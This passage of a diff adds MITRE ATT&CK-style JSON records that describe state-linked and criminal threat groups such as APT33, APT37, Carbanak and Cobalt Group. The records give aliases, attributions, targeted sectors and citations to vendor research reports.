+ "external_id": "G0050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0050" + }, + { + "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "APT32" + }, + { + "description": "(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "SeaLotus" + }, + { + "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "OceanLotus" + }, + { + "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "APT-C-00" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ] + }, + { + "aliases": [ + "APT33", + "Elfin" + ], + "type": "intrusion-set", + "name": "APT33", + "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "external_references": [ + { + "external_id": "G0064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0064" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "source_name": "APT33" + }, + { + "description": "(Citation: Symantec Elfin Mar 2019)", + "source_name": "Elfin" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:32.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "type": "intrusion-set", + "name": "APT34", + "revoked": true, + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6", + "modified": "2018-10-17T00:17:13.469Z", + "external_references": [ + { + "external_id": "G0057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0057" + } + ] + }, + { + "aliases": [ + "APT37", + "ScarCruft", + "Reaper", + "Group123", + "TEMP.Reaper" + ], + "name": "APT37", + "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "id": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.3", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-10-04T22:07:45.627Z", + "external_references": [ + { + "external_id": "G0067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0067" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "APT37" + }, + { + "description": "(Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)", + "source_name": "ScarCruft" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "Reaper" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "Group123" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "TEMP.Reaper" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "source_name": "Securelist ScarCruft Jun 2016", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "source_name": "Talos Group123", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "source_name": "US-CERT HIDDEN COBRA June 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ] + }, + { + "aliases": [ + "APT38" + ], + "type": "intrusion-set", + "name": "APT38", + "description": "[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0082", + "url": "https://attack.mitre.org/groups/G0082" + }, + { + "description": "(Citation: FireEye APT38 Oct 2018)", + "source_name": "APT38" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "source_name": "US-CERT HIDDEN COBRA June 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:24.793Z", + "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-10-04T22:16:08.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "APT39", + "Chafer" + ], + "type": "intrusion-set", + "name": "APT39", + "description": "[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0087", + "url": "https://attack.mitre.org/groups/G0087" + }, + { + "description": "(Citation: FireEye APT39 Jan 2019)", + "source_name": "APT39" + }, + { + "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)", + "source_name": "Chafer" + }, + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + }, + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T16:01:38.585Z", + "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0" + }, + { + "aliases": [ + "APT41" + ], + "type": "intrusion-set", + "name": "APT41", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)", + "external_references": [ + { + "external_id": "G0096", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0096" + }, + { + "description": "(Citation: FireEye APT41 2019)", + "source_name": "APT41" + }, + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T13:43:36.945Z", + "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Axiom", + "Group 72" + ], + "type": "intrusion-set", + "name": "Axiom", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "external_references": [ + { + "external_id": "G0001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0001" + }, + { + "description": "(Citation: Novetta-Axiom)", + "source_name": "Axiom" + }, + { + "description": "(Citation: Cisco Group 72)", + "source_name": "Group 72" + }, + { + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "source_name": "Novetta-Axiom", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "source_name": "Kaspersky Winnti April 2013", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "source_name": "Kaspersky Winnti June 2015", + "url": "https://securelist.com/games-are-over/70991/" + }, + { + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "source_name": "Novetta Winnti April 2015", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", + "source_name": "Cisco Group 72", + "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:45.629Z", + "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-09-24T13:32:51.011Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "BRONZE BUTLER", + "REDBALDKNIGHT", + "Tick" + ], + "type": "intrusion-set", + "name": "BRONZE BUTLER", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "external_references": [ + { + "external_id": "G0060", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0060" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)", + "source_name": "BRONZE BUTLER" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)", + "source_name": "REDBALDKNIGHT" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017) (Citation: Symantec Tick Apr 2016)", + "source_name": "Tick" + }, + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:36.804Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "BlackOasis" + ], + "type": "intrusion-set", + "name": "BlackOasis", + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "external_references": [ + { + "external_id": "G0063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0063" + }, + { + "description": "(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)", + "source_name": "BlackOasis" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "source_name": "Securelist BlackOasis Oct 2017", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.", + "source_name": "Securelist APT Trends Q2 2017", + "url": "https://securelist.com/apt-trends-report-q2-2017/79332/" + }, + { + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "source_name": "CyberScoop BlackOasis Oct 2017", + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Carbanak", + "Anunak", + "Carbon Spider" + ], + "name": "Carbanak", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)", + "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "created": "2017-05-31T21:31:49.021Z", + "modified": "2019-03-22T19:59:26.767Z", + "external_references": [ + { + "external_id": "G0008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0008" + }, + { + "description": "(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)", + "source_name": "Carbanak" + }, + { + "description": "(Citation: Fox-It Anunak Feb 2015)", + "source_name": "Anunak" + }, + { + "description": "(Citation: Crowdstrike State of Criminal May 2016)", + "source_name": "Carbon Spider" + }, + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Fox-It Anunak Feb 2015", + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" + }, + { + "source_name": "Crowdstrike State of Criminal May 2016", + "description": "Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017.", + "url": "https://www.crowdstrike.com/blog/state-criminal-address/" + } + ] + }, + { + "aliases": [ + "Charming Kitten" + ], + "type": "intrusion-set", + "name": "Charming Kitten", + "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", + "external_references": [ + { + "external_id": "G0058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0058" + }, + { + "description": "(Citation: ClearSky Charming Kitten Dec 2017)", + "source_name": "Charming Kitten" + }, + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "modified": "2019-03-22T19:59:49.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Cleaver", + "Threat Group 2889", + "TG-2889" + ], + "type": "intrusion-set", + "name": "Cleaver", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "external_references": [ + { + "external_id": "G0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0003" + }, + { + "description": "(Citation: Cylance Cleaver)", + "source_name": "Cleaver" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "Threat Group 2889" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "TG-2889" + }, + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:46.390Z", + "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Cobalt Group", + "Cobalt Gang", + "Cobalt Spider" + ], + "type": "intrusion-set", + "name": "Cobalt Group", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)", + "external_references": [ + { + "external_id": "G0080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0080" + }, + { + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)", + "source_name": "Cobalt Group" + }, + { + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)", + "source_name": "Cobalt Gang" + }, + { + "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)", + "source_name": "Cobalt Spider" + }, + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Europol Cobalt Mar 2018", + "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", + "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + 